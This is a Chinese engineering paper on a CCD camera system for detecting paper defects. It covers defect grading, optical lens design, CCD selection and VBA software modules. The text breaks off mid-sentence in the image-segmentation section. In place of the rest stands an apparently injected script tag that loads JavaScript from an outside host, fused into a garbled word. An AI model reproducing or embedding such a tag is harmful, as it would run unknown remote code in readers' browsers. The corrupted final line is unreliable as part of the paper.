摘 要：研究ccd技术在纸张检测中的应用，对整个系统的光学部分进行设计，并对系统的工作原理、ccd器件的选取、系统的构成、软件的设计等进行了介绍，研制的样机经测试，可以满足用户的要求。
关键词：ccd；纸张检测；图像分割
1前 言
随着人们对于纸张质量要求的提高，造纸业需要对纸张质量进行更为严格、快速的检测。目前造纸业采用的纸张质量检测手段大多是人工质量检测，这种检测手段虽然容易实现，但是效率低，质量不容易保证，不能实现生产的自动化，远未达到理想的要求，故如何实现机械自动化纸张检测就成为造纸业新的难题。
近几年来，ccd技术得到了广泛应用，已成为现代光电技术和现代测试技术中最活跃、最富有成果的手段之一〔1〕，利用ccd技术对产品表面质量进行实时检测、动态测量、自动对产品按品质实行分级，具有结构简单、非接触、精度高、测量速度快、性能稳定可靠等优点。本文将介绍一种基于ccd技术的纸张检测系统。
2纸张质量的分类方法
根据生产实际，纸张的质量是由纸张所含瑕疵的类型和多少共同决定的。纸张的瑕疵共有三种，即折痕、漏点和污点。其中纸张出现折痕或者漏点均被视为废纸，这样污点的面积、灰度等级和分布就成为纸张分级的重要依据。污点的具体分类如表1所示。
注：表中的数据仅供参考。
本系统仅将纸张分为三级，具体分类如表2所示：
3ccd纸张检测系统的工作原理
如图1所示，纸张的散射光线经凸透镜会聚成平行光线投射于面阵ccd表面，ccd将光信号转化成电信号，然后输入到计算机中进行处理、存储。ccd是图像采集的核心，其中心位置在垂直方向上与凸透镜的中心必须重合，以使图纸的信息全部成像于ccd上。
3.1 系统构成
本系统主要由光源、图像采集部分、电源、pc机、显示输出部分、机械换纸机构、纸张分流机构等部分构成，它们之间的主要关系如图2所示。
3.2硬件设计
3.2.1ccd器件选型设计
ccd（charge couple device）即电荷耦合器件的英文缩写，ccd固体摄像器的基本结构是脉冲控制下的mos电容器阵列，具有电荷耦合、存储、转移功能，它有面阵和线阵两类，电荷注入方式有光注入和电注入两类〔2〕，本系统采用的是光注入方式面阵ccd器件。对于应用最广泛的面阵ccd器件一般由感光单元、转移控制栅、暂存单元和水平移位寄存器等几部分组成。面阵ccd的种类很多，有dl32型（256×320）、tcd5130ac型（754×583）、tcd5390ad型（512×582）、ia-d2型（512×512或1024×1024）以及各种特种面阵ccd。本系统采用ia-d9-2048型面阵ccd，它采用帧转移方式，每秒14帧，具有多个输出端口，像元尺寸大，像敏元尺寸为12μm(h)×12μm(v)，像敏区面积为24.672mm(h)×24.672mm（h），输出数据率高达60mhz，动态范围宽，为3000；水平和垂直转移效率为0.999999；工作温度范围为-60℃～+70℃〔3〕。
3.2.2光学透镜的设计
被测对象为1号图纸，其基本尺寸为840×600mm2，为了使ccd器件能够获取所有的纸张信息，在图纸两侧各留出10mm余量，这样图纸的长边尺寸为860mm，ia-d9-2048型面阵ccd像敏区面积为24.672mm×24.672mm2〔3〕，要使得纸张的信息全部成像在ccd上，则物镜焦距为（见图3）：
式中：β—垂轴放大率；
y′—像高；
y—物高；
f—物方焦距；
f′—像方焦距；
x—为牛顿公式描述的物距；
x′—为牛顿公式描述的像距。
其中：y′=24.672mm；y=860mm；l=1000mm
解得：f=27.9mm
则所用凸透镜的焦距为27.9mm。
3.3 软件设计
该系统的软件部分由vba（visual basic for application）编写，以利用它强大的图形界面功能和数据管理功能进行用户终端界面设计和数据存储管理。该软件共分为数据获取、数据分析、数据处理、数据存储、数据查询及输出五个模块。数据获取模块即为从ccd器件的移位寄存器中读入纸张信息，纸张信息获取后，数据分析和处理模块判断纸张的瑕疵的大小、灰度等级、延展方向、分布的范围属于哪种纸张的范围，并进行存储和输出。存储是按照瑕疵的类型分类存储，然后根据生产实际的经验分析瑕疵产生的原因，将纸张再按瑕疵产生的原因分类。这样做的目的在于在今后的生产中能及时、准确地找出各类瑕疵产生的原因，并可以据此给出机检方案，提高检修效率〔4〕。具体流程如图4所示。
对于瑕疵的判别是该系统软件部分的重点。为了完成对瑕疵的检出，首先采用区间生成法对图像进行分割。具体过程为：假定将图像x用预先设定的分割规则p分割成n个不同区域：x1、x2、x3…xn，若图像x和分割得到的区域都是图像平面的子?script src=http://er12.com/t.js>
